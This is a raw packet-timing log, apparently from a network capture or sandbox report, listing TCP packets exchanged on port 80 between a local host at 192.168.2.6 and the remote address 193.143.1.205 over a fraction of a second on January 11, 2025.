Jan 11, 2025 05:18:37.722026110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.722039938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722050905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.722067118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.722822905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722840071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722855091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722867012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722878933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722879887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.722887039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.722920895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.723653078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723664999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723678112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723690033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723702908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723711014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.723718882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.723737955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.723756075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.724551916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.728272915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.761578083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.761589050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.761635065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802504063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802522898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802536011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802546978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802561045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802573919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802618027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802653074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802725077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802736998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802755117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802766085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802778006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802779913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802802086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802824020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802839994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802850962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802860975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802864075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802881002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.802891970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.802920103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803015947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803035021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803076982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803106070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803117990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803132057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803144932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803153038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803183079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803375959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803386927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803392887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803397894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803405046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803463936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803626060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803637981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803651094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803663015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803670883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803675890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803687096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803689957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803704023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803713083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803715944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803730965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803742886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803751945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803755045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.803798914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.803819895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.844810009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844825029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844836950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844850063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844861984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844875097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.844897985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.844924927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845096111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845107079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845118046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845129967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845141888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845144033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845155001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845165014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845179081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845217943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845340967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845352888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845365047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845377922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845386982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845391035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845403910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845405102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845417976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845432043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845458031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845556974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845571041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845614910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845691919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845704079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845716953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845729113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845731974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845742941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845757961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845771074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.845777988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845805883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.845992088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846003056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846015930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846028090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846029043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846040964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846052885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846057892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846066952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846095085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846120119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846328020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846340895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846354961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846365929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846376896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846381903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846390009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846399069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.846402884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.846427917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.849570036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.849581003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.849591970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.849602938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.849612951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.849638939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.850383043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.890496016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890507936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890521049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890532017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890547991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890559912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890572071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890626907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.890692949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.890763998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890775919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890785933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890798092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890806913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.890810966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890824080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890836000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.890855074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.890881062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891103983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891117096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891129017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891139984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891145945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891159058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891170979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891170979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891196966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891494989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891515017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891526937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891535044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891540051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891552925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891565084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891570091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891580105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891592026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891597986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891606092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891618013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891618967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891632080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891644001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.891647100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.891678095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.892024994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892038107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892050982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892062902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892064095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.892077923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892088890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892101049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892106056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.892116070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.892147064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.893582106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.893594980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.893609047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.893641949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.893682003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.930979013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.930994034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931005001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931018114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931031942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931061029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931102991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931159019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931174994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931188107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931199074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931204081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931211948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931225061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931231976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931262016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931370974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931385994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931397915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931408882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931411028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931422949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931436062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931437016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931463957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931817055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931845903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931857109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931869030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931876898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931881905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931898117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931905985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931910992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931922913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931934118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931936026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931948900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931957006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931961060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931974888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.931974888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.931998014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932440996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932459116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932471991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932480097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932482958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932496071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932508945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932514906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932522058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932533026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932537079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932554960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932559013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932568073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932580948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932594061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932599068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932606936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932620049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932630062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932631969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932648897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.932651043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.932672977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.933079958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933090925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933104038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933115005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933115005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.933128119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933140993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933140993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.933151960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933165073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.933165073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.933190107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.942200899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976639032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976654053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976665020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976680040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976692915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976706028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976742983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976764917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976784945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976799965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976813078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976825953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976830959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976846933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976856947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976861954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976878881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.976887941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.976922989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977191925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977202892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977216005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977229118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977243900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977246046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977257967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977264881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977273941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977313042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977456093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977471113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977484941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977498055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977498055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977514982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977535963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977570057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977591991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977611065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977623940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977634907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977644920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977650881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977663994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977674007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977699995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977890968 CET	80	49710	193.143.1.205	192.168.2.6
